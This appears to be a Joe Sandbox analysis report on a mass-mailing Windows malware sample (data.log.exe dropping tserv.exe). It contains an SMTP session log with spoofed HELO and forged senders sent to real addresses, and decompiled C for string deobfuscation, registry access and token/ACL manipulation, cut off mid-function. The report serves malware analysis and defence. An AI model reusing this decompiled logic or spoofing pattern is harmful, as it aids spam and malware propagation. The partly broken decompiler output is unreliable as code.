Jan 7, 2022 15:57:51.073775053 CET	25	49917	216.105.38.6	192.168.2.4	451-102.129.143.96 is not yet authorized to deliver mail from 451-<adam.gonzalez@care2.com> to <ebxmlrr-team@lists.sourceforge.net>. Please 451 try later.
Jan 7, 2022 15:57:51.073878050 CET	49917	25	192.168.2.4	216.105.38.6	QUIT
Jan 7, 2022 15:57:51.244062901 CET	25	49917	216.105.38.6	192.168.2.4	221 sfi-mx-1.v28.lw.sourceforge.com closing connection
Jan 7, 2022 15:57:53.900067091 CET	25	49878	185.175.124.58	192.168.2.4	250 Accepted
Jan 7, 2022 15:57:53.900197983 CET	49878	25	192.168.2.4	185.175.124.58	DATA
Jan 7, 2022 15:57:53.938244104 CET	25	49878	185.175.124.58	192.168.2.4	354 Enter message, ending with "." on a line by itself
Jan 7, 2022 15:57:54.201476097 CET	49878	25	192.168.2.4	185.175.124.58	. QUIT
Jan 7, 2022 15:57:54.244075060 CET	25	49878	185.175.124.58	192.168.2.4	250 OK id=1n5qgm-0000QP-UV
Jan 7, 2022 15:57:54.245872021 CET	25	49878	185.175.124.58	192.168.2.4	221 mxbck.leonet.it closing connection
Jan 7, 2022 15:57:54.427490950 CET	25	49880	176.223.123.126	192.168.2.4	550
Jan 7, 2022 15:57:54.427649975 CET	49880	25	192.168.2.4	176.223.123.126	QUIT
Jan 7, 2022 15:57:54.468725920 CET	25	49880	176.223.123.126	192.168.2.4	221 cloud308.mxserver.ro closing connection
Jan 7, 2022 15:57:55.929229021 CET	25	49901	131.111.8.149	192.168.2.4	250 OK
Jan 7, 2022 15:57:55.929621935 CET	49901	25	192.168.2.4	131.111.8.149	RCPT TO: <brian.kelk@cl.cam.ac.uk>
Jan 7, 2022 15:57:55.961862087 CET	25	49901	131.111.8.149	192.168.2.4	550 Please use your name when saying HELO (not mx.cam.ac.uk)
Jan 7, 2022 15:57:55.961982965 CET	49901	25	192.168.2.4	131.111.8.149	QUIT
Jan 7, 2022 15:57:55.995105982 CET	25	49901	131.111.8.149	192.168.2.4	221 ppsw-43.csi.cam.ac.uk closing connection
Jan 7, 2022 15:58:02.316641092 CET	25	49928	85.187.148.2	192.168.2.4	220-az1-ss24.a2hosting.com ESMTP Exim 4.94.2 #2 Fri, 07 Jan 2022 07:58:02 -0700 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 7, 2022 15:58:02.316756964 CET	49928	25	192.168.2.4	85.187.148.2	HELO gzip.org
Jan 7, 2022 15:58:02.493243933 CET	25	49928	85.187.148.2	192.168.2.4	250 az1-ss24.a2hosting.com Hello gzip.org [102.129.143.96]
Jan 7, 2022 15:58:02.493949890 CET	49928	25	192.168.2.4	85.187.148.2	MAIL FROM: <moore2001@inbox.com>
Jan 7, 2022 15:58:02.670490026 CET	25	49928	85.187.148.2	192.168.2.4	250 OK
Jan 7, 2022 15:58:02.670640945 CET	49928	25	192.168.2.4	85.187.148.2	RCPT TO: <jloup@gzip.org>
Jan 7, 2022 15:58:23.029314041 CET	25	49928	85.187.148.2	192.168.2.4	250 Accepted
Jan 7, 2022 15:58:23.029498100 CET	49928	25	192.168.2.4	85.187.148.2	DATA
Jan 7, 2022 15:58:23.205976963 CET	25	49928	85.187.148.2	192.168.2.4	354 Enter message, ending with "." on a line by itself
Jan 7, 2022 15:58:24.457892895 CET	49928	25	192.168.2.4	85.187.148.2	. QUIT

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: data.log.exe PID: 7008 Parent PID: 4980

General

Start time:	15:55:38
Start date:	07/01/2022
Path:	C:\Users\user\Desktop\data.log.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\data.log.exe"
Imagebase:	0x400000
File size:	466891 bytes
MD5 hash:	7C30F98ED7373BBA1266550779E7993A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: tserv.exe PID: 5208 Parent PID: 7008

General

Start time:	15:55:44
Start date:	07/01/2022
Path:	C:\Windows\tserv.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\tserv.exe s
Imagebase:	0x400000
File size:	466891 bytes
MD5 hash:	7C30F98ED7373BBA1266550779E7993A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 68%, Metadefender, Browse Detection: 91%, ReversingLabs
Reputation:	low

Chronological Activities

Analysis Process: notepad.exe PID: 2208 Parent PID: 7008

General

Start time:	15:55:45
Start date:	07/01/2022
Path:	C:\Windows\SysWOW64\notepad.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\notepad.exe C:\Users\user\Desktop\615D.tmp
Imagebase:	0x12f0000
File size:	236032 bytes
MD5 hash:	D693F13FE3AA2010B854C4C60671B8E2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: tserv.exe PID: 3152 Parent PID: 3424

General

Start time:	15:56:04
Start date:	07/01/2022
Path:	C:\Windows\tserv.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\tserv.exe" s
Imagebase:	0x7ff732050000
File size:	466891 bytes
MD5 hash:	7C30F98ED7373BBA1266550779E7993A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: data.log.exe PID: 7008 Parent PID: 4980 data.log.exeCOMMON

Execution Graph

Execution Coverage:	4.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	12.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	48

Executed Functions

Function 004210D0, Relevance: 91.3, APIs: 7, Strings: 45, Instructions: 279
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E004210D0(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _t222;
				void* _t225;
				void* _t227;
				void* _t229;
				signed int _t233;
				signed int _t234;
				short _t264;
				void* _t281;
				void* _t291;
				void* _t294;
				intOrPtr _t295;
				void* _t297;
				void* _t298;

				_t222 =  *0x4310d8; // 0xd0c2a9a8
				_t294 = __ecx;
				 *((intOrPtr*)(_t298 + 0x78)) = _t222;
				 *((char*)(_t298 + 0x32)) = 0x7c;
				 *((char*)(_t298 + 0x35)) = 0x7c;
				 *((char*)(_t298 + 0x31)) = 0x2c;
				 *((char*)(_t298 + 0x36)) = 0x2c;
				 *((char*)(_t298 + 0x38)) = 0x50;
				 *((char*)(_t298 + 0x45)) = 0x50;
				 *((char*)(_t298 + 0x4b)) = 0x2c;
				 *((char*)(_t298 + 0x34)) = 0x54;
				 *((char*)(_t298 + 0x37)) = 0xc;
				 *((char*)(_t298 + 0x38)) = 0x12;
				 *((char*)(_t298 + 0x3b)) = 0xe7;
				 *((char*)(_t298 + 0x3d)) = 0x8d;
				 *((char*)(_t298 + 0x3e)) = 0x53;
				 *((char*)(_t298 + 0x3f)) = 0x29;
				 *(_t298 + 0x40) = 0xa2;
				 *((char*)(_t298 + 0x41)) = 0xa8;
				 *((char*)(_t298 + 0x42)) = 0x4e;
				 *((char*)(_t298 + 0x43)) = 0x45;
				 *((char*)(_t298 + 0x44)) = 0xc5;
				 *((char*)(_t298 + 0x45)) = 0x81;
				 *((char*)(_t298 + 0x46)) = 9;
				 *((char*)(_t298 + 0x47)) = 0xb3;
				 *((char*)(_t298 + 0x48)) = 0xdc;
				 *((char*)(_t298 + 0x4a)) = 0x2a;
				 *((char*)(_t298 + 0x4b)) = 0xc2;
				 *((char*)(_t298 + 0x4c)) = 5;
				 *((char*)(_t298 + 0x4d)) = 0x69;
				 *((char*)(_t298 + 0x4e)) = 0x76;
				 *((char*)(_t298 + 0x50)) = 0x20;
				 *((char*)(_t298 + 0x51)) = 0x30;
				 *((char*)(_t298 + 0x52)) = 0x70;
				 *((char*)(_t298 + 0x53)) = 0x9e;
				 *((char*)(_t298 + 0x54)) = 0x5a;
				 *((char*)(_t298 + 0x55)) = 0x4c;
				 *((char*)(_t298 + 0x58)) = 0xff;
				 *((char*)(_t298 + 0x59)) = 0x23;
				 *((char*)(_t298 + 0x5a)) = 0xca;
				 *((char*)(_t298 + 0x5b)) = 0x48;
				 *((char*)(_t298 + 0x5c)) = 0x45;
				 *((char*)(_t298 + 0x5d)) = 0xc5;
				 *((char*)(_t298 + 0x5e)) = 0x26;
				 *((char*)(_t298 + 0x5f)) = 0x5e;
				 *((char*)(_t298 + 0x60)) = 0xc;
				 *((char*)(_t298 + 0x61)) = 0xb4;
				 *((char*)(_t298 + 0x62)) = 0x14;
				 *((char*)(_t298 + 0x63)) = 0x45;
				 *((char*)(_t298 + 0x64)) = 0xc7;
				 *((char*)(_t298 + 0x65)) = 0xcc;
				 *((char*)(_t298 + 0x66)) = 0x27;
				 *((char*)(_t298 + 0x67)) = 0x28;
				 *((char*)(_t298 + 0x68)) = 0x97;
				 *((char*)(_t298 + 0x69)) = 0xce;
				 *((char*)(_t298 + 0x6a)) = 0x6c;
				 *((char*)(_t298 + 0x6b)) = 0xc1;
				 *((char*)(_t298 + 0x6c)) = 0x94;
				 *((char*)(_t298 + 0x6d)) = 0x1f;
				 *((char*)(_t298 + 0x6e)) = 0x49;
				 *((char*)(_t298 + 0x6f)) = 0xb2;
				 *((char*)(_t298 + 0x70)) = 0x1b;
				 *((char*)(_t298 + 0x71)) = 0xdd;
				 *((char*)(_t298 + 0x72)) = 0xf3;
				 *((char*)(_t298 + 0x73)) = 0x46;
				 *((char*)(_t298 + 0x74)) = 0x45;
				 *((char*)(_t298 + 0x75)) = 0x47;
				 *((char*)(_t298 + 0x76)) = 0xf1;
				 *((char*)(_t298 + 0x77)) = 0xce;
				 *((char*)(_t298 + 0x78)) = 0x12;
				_t264 =  *0x431f38; // 0x2d2c
				 *((char*)(_t298 + 0x79)) = 0xb4;
				_t225 = 0;
				do {
					 *((intOrPtr*)(_t298 + _t225 + 0x34)) =  *((intOrPtr*)(_t298 + _t225 + 0x34)) +  *((intOrPtr*)(_t298 + _t225 + 0x58));
					 *((intOrPtr*)(_t298 + _t225 + 0x35)) =  *((intOrPtr*)(_t298 + _t225 + 0x35)) +  *((intOrPtr*)(_t298 + _t225 + 0x59));
					_t225 = _t225 + 2;
					_t264 = _t264 + 0xda;
				} while (_t225 < 0x22);
				 *((char*)(_t298 + 0x16)) = 0xf2;
				 *((char*)(_t298 + 0x18)) = 0xf2;
				 *((char*)(_t298 + 0x14)) = 0x11;
				 *((char*)(_t298 + 0x15)) = 0x4d;
				 *((char*)(_t298 + 0x17)) = 0x60;
				 *((char*)(_t298 + 0x19)) = 0xf6;
				 *((char*)(_t298 + 0x1a)) = 0xfc;
				 *((char*)(_t298 + 0x1b)) = 0x1a;
				 *((char*)(_t298 + 0x1c)) = 0x4e;
				 *((char*)(_t298 + 0x1d)) = 0x98;
				 *((char*)(_t298 + 0x1e)) = 0x3f;
				 *((char*)(_t298 + 0x1f)) = 0xc1;
				 *((char*)(_t298 + 0x20)) = 0xf8;
				 *((char*)(_t298 + 0x21)) = 0xf4;
				 *((char*)(_t298 + 0x22)) = 0xb6;
				 *((char*)(_t298 + 0x24)) = 0x42;
				 *((char*)(_t298 + 0x25)) = 0x28;
				 *((char*)(_t298 + 0x26)) = 0x77;
				 *((char*)(_t298 + 0x27)) = 0x14;
				 *((char*)(_t298 + 0x28)) = 0x73;
				 *((char*)(_t298 + 0x29)) = 0x59;
				 *((char*)(_t298 + 0x2a)) = 0x7b;
				 *((char*)(_t298 + 0x2b)) = 0x54;
				 *((char*)(_t298 + 0x2c)) = 0x17;
				 *((char*)(_t298 + 0x2d)) = 0xda;
				 *((char*)(_t298 + 0x2e)) = 8;
				 *((char*)(_t298 + 0x2f)) = 0xb4;
				 *((char*)(_t298 + 0x30)) = 0x71;
				 *((char*)(_t298 + 0x31)) = 0x70;
				 *((char*)(_t298 + 0x32)) = 0x4a;
				_t227 = 0;
				do {
					 *((intOrPtr*)(_t298 + _t227 + 0x14)) =  *((intOrPtr*)(_t298 + _t227 + 0x14)) +  *((intOrPtr*)(_t298 + _t227 + 0x24));
					 *((intOrPtr*)(_t298 + _t227 + 0x15)) =  *((intOrPtr*)(_t298 + _t227 + 0x15)) +  *((intOrPtr*)(_t298 + _t227 + 0x25));
					_t125 = _t227 + 0x26; // 0x77
					 *((intOrPtr*)(_t298 + _t227 + 0x16)) =  *((intOrPtr*)(_t298 + _t227 + 0x16)) +  *((intOrPtr*)(_t298 + _t125));
					 *((intOrPtr*)(_t298 + _t227 + 0x17)) =  *((intOrPtr*)(_t298 + _t227 + 0x17)) +  *((intOrPtr*)(_t298 + _t227 + 0x27));
					 *((intOrPtr*)(_t298 + _t227 + 0x18)) =  *((intOrPtr*)(_t298 + _t227 + 0x18)) +  *((intOrPtr*)(_t298 + _t227 + 0x28));
					_t227 = _t227 + 5;
					_t264 = _t264 + 0x221;
				} while (_t227 < 0xf);
				 *((char*)(_t298 + 0x33)) = 0x7a;
				 *((char*)(_t298 + 0x23)) = 0x7a;
				 *((char*)(_t298 + 0x24)) = 0xbc;
				 *((char*)(_t298 + 0x25)) = 0xad;
				 *((char*)(_t298 + 0x26)) = 0x41;
				 *((char*)(_t298 + 0x27)) = 0xf4;
				 *((char*)(_t298 + 0x28)) = 0xf3;
				 *((char*)(_t298 + 0x29)) = 0x36;
				 *((char*)(_t298 + 0x2a)) = 0xbb;
				 *((char*)(_t298 + 0x2b)) = 0x66;
				 *((char*)(_t298 + 0x2c)) = 0x92;
				 *((char*)(_t298 + 0x2d)) = 0x38;
				 *((char*)(_t298 + 0x2e)) = 0x7e;
				 *((char*)(_t298 + 0x2f)) = 0x9e;
				 *((char*)(_t298 + 0x30)) = 0xe6;
				 *((char*)(_t298 + 0x31)) = 0xcd;
				 *((char*)(_t298 + 0x32)) = 0x71;
				 *((char*)(_t298 + 0x14)) = 0xf3;
				 *((char*)(_t298 + 0x15)) = 0xd8;
				 *((char*)(_t298 + 0x16)) = 0x35;
				 *((char*)(_t298 + 0x17)) = 0x84;
				 *((char*)(_t298 + 0x18)) = 0x9c;
				 *((char*)(_t298 + 0x19)) = 0x45;
				 *((char*)(_t298 + 0x1a)) = 0xcf;
				 *((char*)(_t298 + 0x1b)) = 0x20;
				 *((char*)(_t298 + 0x1c)) = 0xfb;
				 *((char*)(_t298 + 0x1d)) = 0x4a;
				 *((char*)(_t298 + 0x1e)) = 0x1b;
				 *((char*)(_t298 + 0x1f)) = 0xe9;
				 *((char*)(_t298 + 0x20)) = 0x87;
				 *((char*)(_t298 + 0x21)) = 0xa1;
				 *((char*)(_t298 + 0x22)) = 0x1d;
				_t229 = 0;
				do {
					 *(_t298 + _t229 + 0x24) =  *(_t298 + _t229 + 0x24) ^  *(_t298 + _t229 + 0x14);
					 *(_t298 + _t229 + 0x25) =  *(_t298 + _t229 + 0x25) ^  *(_t298 + _t229 + 0x15);
					 *(_t298 + _t229 + 0x26) =  *(_t298 + _t229 + 0x26) ^  *(_t298 + _t229 + 0x16);
					 *(_t298 + _t229 + 0x27) =  *(_t298 + _t229 + 0x27) ^  *(_t298 + _t229 + 0x17);
					_t229 = _t229 + 4;
				} while (_t229 < 0x10);
				_t295 =  *0x431f34; // 0x32
				 *0x431f34 = _t295 + 0x32;
				 *((char*)(_t298 + 0x1c)) = 0x41;
				 *((char*)(_t298 + 0x1d)) = 0x63;
				 *((char*)(_t298 + 0x1e)) = 0x74;
				 *((char*)(_t298 + 0x1f)) = 0x69;
				 *((char*)(_t298 + 0x20)) = 0x76;
				 *((char*)(_t298 + 0x21)) = 0x65;
				 *((char*)(_t298 + 0x22)) = 0x4f;
				 *((char*)(_t298 + 0x23)) = 0x50;
				 *((char*)(_t298 + 0x24)) = 0;
				 *0x431f38 = _t264 + 0x3d5;
				_push(HeapAlloc(GetProcessHeap(), 8, 0xff));
				_pop(_t297);
				_t233 = RegOpenKeyExA(0x80000002, _t298 + 0x40, 0, 1, _t298 + 0x10); // executed
				if(_t233 == 0) {
					 *((intOrPtr*)(_t294 + 0x90)) = 0x18;
					 *(_t294 + 0x98) = 1;
				} else {
					_t233 = GetLastError();
					 *(_t294 + 0x94) = _t233;
				}
				_t234 = _t233 | 0xffffffff;
				_t212 = _t294 + 0x94; // 0x431d2c
				_t291 = _t212;
				_push(_t291);
				 *(_t294 + 0x84) = _t234;
				 *(_t294 + 0x88) = _t234;
				 *(_t294 + 0x8c) = _t234;
				 *((intOrPtr*)(_t294 + 0x9c)) = E0041F020(_t294, _t298 + 0x28);
				_push(_t291);
				_push(_t298 + 0x18);
				_t281 = _t294;
				 *((intOrPtr*)(_t294 + 0xa0)) = E0041F100(_t281);
				HeapFree(GetProcessHeap(), 0, _t297);
				RegCloseKey( *(_t298 + 0x10));
				return E00424873(0,  *((intOrPtr*)(_t298 + 0x7c)));
			}

0x004210d3
0x004210db
0x004210df
0x004210e5
0x004210e9
0x004210f1
0x004210f5
0x004210f9
0x004210ff
0x00421103
0x0042110c
0x00421111
0x00421116
0x0042111b
0x00421120
0x00421125
0x0042112a
0x0042112f
0x00421134
0x00421139
0x0042113e
0x00421142
0x00421146
0x0042114b
0x00421150
0x00421155
0x0042115a
0x0042115f
0x00421164
0x00421169
0x0042116e
0x00421173
0x00421178
0x0042117d
0x00421182
0x00421187
0x0042118c
0x00421191
0x00421196
0x0042119b
0x004211a0
0x004211a5
0x004211a9
0x004211ad
0x004211b2
0x004211b7
0x004211bc
0x004211c0
0x004211c5
0x004211c9
0x004211ce
0x004211d3
0x004211d8
0x004211dd
0x004211e2
0x004211e6
0x004211eb
0x004211f0
0x004211f5
0x004211fa
0x004211ff
0x00421204
0x00421209
0x0042120e
0x00421213
0x00421218
0x0042121c
0x00421221
0x00421226
0x0042122a
0x0042122f
0x00421236
0x0042123a
0x00421240
0x00421244
0x0042124c
0x00421254
0x00421257
0x0042125b
0x00421262
0x00421266
0x0042126a
0x0042126f
0x00421274
0x00421279
0x0042127e
0x00421283
0x00421288
0x0042128d
0x00421292
0x00421297
0x0042129c
0x004212a1
0x004212a6
0x004212ab
0x004212b0
0x004212b5
0x004212ba
0x004212bf
0x004212c4
0x004212c9
0x004212ce
0x004212d3
0x004212d8
0x004212dd
0x004212e2
0x004212e7
0x004212ec
0x004212f1
0x004212f6
0x00421300
0x00421304
0x0042130c
0x00421310
0x00421314
0x0042131c
0x00421324
0x00421338
0x0042133b
0x0042133f
0x00421348
0x0042134c
0x00421350
0x00421355
0x0042135a
0x0042135f
0x00421364
0x00421368
0x0042136d
0x00421372
0x00421377
0x0042137c
0x00421381
0x00421386
0x0042138b
0x00421390
0x00421395
0x0042139a
0x0042139e
0x004213a3
0x004213a8
0x004213ad
0x004213b2
0x004213b6
0x004213bb
0x004213c0
0x004213c5
0x004213ca
0x004213cf
0x004213d4
0x004213d9
0x004213de
0x004213e3
0x004213e5
0x004213f3
0x00421401
0x0042140f
0x00421413
0x00421417
0x0042141a
0x0042141f
0x00421459
0x0042145f
0x00421464
0x00421469
0x0042146e
0x00421473
0x00421478
0x0042147d
0x00421482
0x00421487
0x0042148c
0x0042149c
0x0042149d
0x004214b1
0x004214b9
0x004214c9
0x004214d3
0x004214bb
0x004214bb
0x004214c1
0x004214c1
0x004214dd
0x004214e0
0x004214e0
0x004214e6
0x004214ee
0x004214f4
0x004214fa
0x00421505
0x0042150b
0x00421510
0x00421512
0x0042151b
0x00421524
0x0042152f
0x00421547

Strings

6, xrefs: 00421368
e, xrefs: 00421478
A, xrefs: 0042145F
l, xrefs: 004211E6
p, xrefs: 004212EC
P, xrefs: 00421482
~, xrefs: 00421381
p, xrefs: 0042117D
v, xrefs: 0042116E
O, xrefs: 0042147D
(, xrefs: 004212B0
v, xrefs: 00421473
`, xrefs: 00421274
^, xrefs: 004211B2
i, xrefs: 0042146E
T, xrefs: 0042110C
c, xrefs: 00421464
G, xrefs: 0042121C
B, xrefs: 004212AB
&, xrefs: 004211AD
q, xrefs: 004212E7
, xrefs: 00421173
N, xrefs: 00421139
), xrefs: 0042112A
i, xrefs: 00421169
M, xrefs: 0042126F
*, xrefs: 0042115A
w(B, xrefs: 00421310
f, xrefs: 00421372
F, xrefs: 00421213
, xrefs: 004213BB
0, xrefs: 00421178
Z, xrefs: 00421187
', xrefs: 004211D3
5, xrefs: 004213A3
I, xrefs: 004211FA
H, xrefs: 004211A0
L, xrefs: 0042118C
#, xrefs: 00421196
q, xrefs: 00421395
t, xrefs: 00421469
(, xrefs: 004211D8
8, xrefs: 0042137C
{, xrefs: 004212C9
S, xrefs: 00421125

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID:
String ID: $ $#$&$'$($($)$*$0$5$6$8$A$B$F$G$H$I$L$M$N$O$P$S$T$Z$^$`$c$e$f$i$i$l$p$p$q$q$t$v$v$w(B${$~
API String ID: 0-3106658521
Opcode ID: 5d79dab42bfde197363a963ef3087f026e5e11a1ad886ea8ac6c0cc55bd6078e
Instruction ID: 6347d12b2b76e29c6bebfca4127da66c4a2c6768181fee66a6c47fad2f92319f
Opcode Fuzzy Hash: 5d79dab42bfde197363a963ef3087f026e5e11a1ad886ea8ac6c0cc55bd6078e
Instruction Fuzzy Hash: 5EE1D42110D7C18DD322DB7C945868FBFD05BA7228F581E9DF1E45A3E3C2A98249C76B

Uniqueness

Uniqueness Score: -1.00%

Function 00423260, Relevance: 56.0, APIs: 37, Instructions: 479
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 81%

			E00423260(void* __ebx, void* __edi, void* __esi) {
				intOrPtr _t126;
				void* _t127;
				void* _t128;
				void* _t130;
				long _t132;
				long _t134;
				long _t135;
				void* _t136;
				struct _SECURITY_DESCRIPTOR* _t137;
				int _t146;
				int _t149;
				int _t151;
				void* _t155;
				long _t169;
				signed int _t173;
				signed int _t179;
				signed int _t184;
				unsigned int _t189;
				signed int _t193;
				long _t206;
				void* _t213;
				void* _t239;
				void* _t242;
				signed char _t243;
				signed char _t244;
				struct _ACL** _t248;
				unsigned int _t259;
				signed int _t260;
				struct _ACL** _t265;
				unsigned int _t270;
				signed int _t271;
				unsigned int _t282;
				signed int _t283;
				void* _t310;
				signed char _t311;
				signed int _t314;
				void* _t317;
				void* _t325;
				signed int _t331;
				void* _t348;
				void* _t350;
				void* _t351;
				signed int _t352;
				void* _t353;
				void* _t354;
				long _t358;
				void* _t359;

				_t126 =  *0x4310d8; // 0xd0c2a9a8
				 *((intOrPtr*)(_t359 + 0x2c)) = _t126;
				 *(_t359 + 0x24) = 0;
				 *((char*)(_t359 + 0x25)) = 0;
				 *((char*)(_t359 + 0x26)) = 0;
				 *((char*)(_t359 + 0x27)) = 0;
				 *(_t359 + 0x28) = 0;
				 *((char*)(_t359 + 0x29)) = 5;
				 *(_t359 + 0x18) = 0;
				 *((intOrPtr*)(_t359 + 0xc)) = 0;
				 *(_t359 + 0x10) = 0;
				 *(_t359 + 0x14) = 0;
				_t127 = GetProcessHeap();
				_push(0x14);
				_t348 = _t127;
				_t128 = HeapAlloc(_t348, 8, ??);
				 *( *((intOrPtr*)(_t359 + 0x34)) + 4) = _t128;
				if(_t128 != 0) {
					_push(HeapAlloc(_t348, 8, 0x1000));
					_pop(_t239);
					if(_t239 != 0) {
						_t130 = RtlAllocateHeap(_t348, 8, 0x1000); // executed
						_push(_t130);
						 *(_t359 + 0x40) = 0;
						if(0 != 0) {
							_t132 = HeapAlloc(_t348, 8, 0x1000);
							 *(_t359 + 0x44) = _t132;
							if(_t132 != 0) {
								_t134 = HeapAlloc(_t348, 8, 0x44);
								 *(_t359 + 0x20) = _t134;
								if(_t134 != 0) {
									_t135 = RtlAllocateHeap(_t348, 8, 0x1000); // executed
									_t358 = _t135;
									if(_t358 != 0) {
										_t136 =  *(_t359 + 0x20);
										_t325 =  *(_t359 + 0x38);
										 *(_t359 + 0x10) = _t136;
										 *(_t359 + 0x14) = _t136;
										 *(_t359 + 0x18) = _t136;
										_t137 =  *(_t325 + 4);
										 *(_t359 + 0x28) = _t137;
										if(InitializeSecurityDescriptor(_t137, 1) == 0 || OpenProcessToken(GetCurrentProcess(), 0xf01ff, _t359 + 0x1c) == 0) {
											goto L7;
										} else {
											_t146 = GetTokenInformation( *(_t359 + 0x1c), 4, _t239, 0x1000, _t359 + 0x24); // executed
											if(_t146 == 0) {
												goto L7;
											} else {
												_t149 = GetTokenInformation( *(_t359 + 0x1c), 5,  *(_t359 + 0x40), 0x1000, _t359 + 0x24); // executed
												if(_t149 == 0) {
													goto L7;
												} else {
													_t151 = GetTokenInformation( *(_t359 + 0x1c), 6,  *(_t359 + 0x44), 0x1000, _t359 + 0x24); // executed
													if(_t151 == 0) {
														goto L7;
													} else {
														_t242 =  *_t239;
														if(_t242 == 0 || SetSecurityDescriptorOwner( *(_t325 + 4), _t242, 1) == 0) {
															goto L7;
														} else {
															_t155 =  *( *(_t359 + 0x40));
															if(_t155 == 0 || SetSecurityDescriptorGroup( *(_t325 + 4), _t155, 1) == 0 || AllocateAndInitializeSid(_t359 + 0x50, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0, _t359 + 0x10) == 0 ||  *(_t359 + 0x10) == 0) {
																goto L7;
															} else {
																_t243 =  *0x431f44; // 0x63
																_t244 = _t243 | 0x00000043;
																_t55 = _t358 + 8; // 0x8
																 *0x431f48 = 0xf;
																 *_t358 = 0;
																 *((char*)(_t358 + 1)) = 0;
																 *((intOrPtr*)(_t358 + 4)) = 0x101fffff;
																 *(_t358 + 2) = 0x10 + ( *( *(_t359 + 0x10) + 1) & 0x000000ff) * 4;
																_t169 = GetLengthSid( *(_t359 + 0x10));
																_t350 =  *(_t359 + 0x10);
																_t259 = _t169;
																_t260 = _t259 >> 2;
																_push(memcpy(_t55, _t350, _t260 << 2));
																memcpy(_t350 + _t260 + _t260, _t350, 0);
																_t359 = _t359 + 0x18;
																_t265 =  *(_t359 + 0x44);
																 *_t265->AclSize =  *_t265->AclSize +  *(_t358 + 2);
																_t173 =  *0x431f48; // 0x21
																 *0x431f44 = 0x63;
																 *0x431f48 = _t173 * 0x0000002d & _t244 & 0x000000ff ^ 0x0000000f;
																if(AddAce( *_t265,  *( *_t265) & 0x000000ff, 0xffffffff, _t358,  *(_t358 + 2) & 0x0000ffff) == 0) {
																	goto L7;
																} else {
																	_t331 =  *0x431f44; // 0x63
																	_t179 = 0x6d;
																	 *0x431f48 =  *0x431f48 & _t179;
																	 *0x431f44 = _t331 | _t179;
																	if(AllocateAndInitializeSid(_t359 + 0x50, 2, 0x20, 0x221, 0, 0, 0, 0, 0, 0, _t359 + 0x14) == 0 ||  *(_t359 + 0x14) == 0) {
																		goto L7;
																	} else {
																		_t184 =  *0x431f48; // 0x21
																		 *0x431f44 =  *0x431f48 & 0x0000ffff | 0x00000041;
																		 *_t358 = 0;
																		 *((char*)(_t358 + 1)) = 0;
																		 *((intOrPtr*)(_t358 + 4)) = 0x101fffff;
																		 *(_t359 + 0x40) = (_t244 ^ 0x0000006d) & _t184 * 0x00000061 &  *0x431f44;
																		 *(_t358 + 2) = 0x10 + ( *( *(_t359 + 0x10) + 1) & 0x000000ff) * 4;
																		_t189 = GetLengthSid( *(_t359 + 0x14));
																		_t351 =  *(_t359 + 0x14);
																		_t248 =  *(_t359 + 0x44);
																		_t270 = _t189;
																		_t310 = _t270;
																		_t271 = _t270 >> 2;
																		_t89 = _t358 + 8; // 0x8
																		memcpy(_t89, _t351, _t271 << 2);
																		_push(_t310);
																		memcpy(_t351 + _t271 + _t271, _t351, 0);
																		_t359 = _t359 + 0x18;
																		 *_t248->AclSize =  *_t248->AclSize +  *(_t358 + 2);
																		_t311 =  *0x431f48; // 0x21
																		_t193 =  *0x431f44; // 0x63
																		_t352 = 0x63;
																		 *0x431f44 = _t193 - _t352;
																		 *0x431f48 = 0x21;
																		 *(_t359 + 0x40) =  *(_t359 + 0x40) & _t311 & 0x00000083;
																		if(AddAce( *_t248,  *( *_t248) & 0x000000ff, 0xffffffff, _t358,  *(_t358 + 2) & 0x0000ffff) == 0) {
																			goto L7;
																		} else {
																			_t314 =  *0x431f44; // 0x63
																			 *0x431f48 =  *0x431f48 - (( *(_t359 + 0x40) +  *(_t359 + 0x40) * 0x00000002 << 0x00000001) + _t314 & 0x0000000f);
																			if(AllocateAndInitializeSid(_t359 + 0x50, 1, 0x12, 0, 0, 0, 0, 0, 0, 0, _t359 + 0x18) == 0 ||  *(_t359 + 0x18) == 0) {
																				goto L7;
																			} else {
																				 *0x431f44 = _t352;
																				 *_t358 = 0;
																				 *((char*)(_t358 + 1)) = 0;
																				 *((intOrPtr*)(_t358 + 4)) = 0x101fffff;
																				 *(_t358 + 2) = 0x10 + ( *( *(_t359 + 0x10) + 1) & 0x000000ff) * 4;
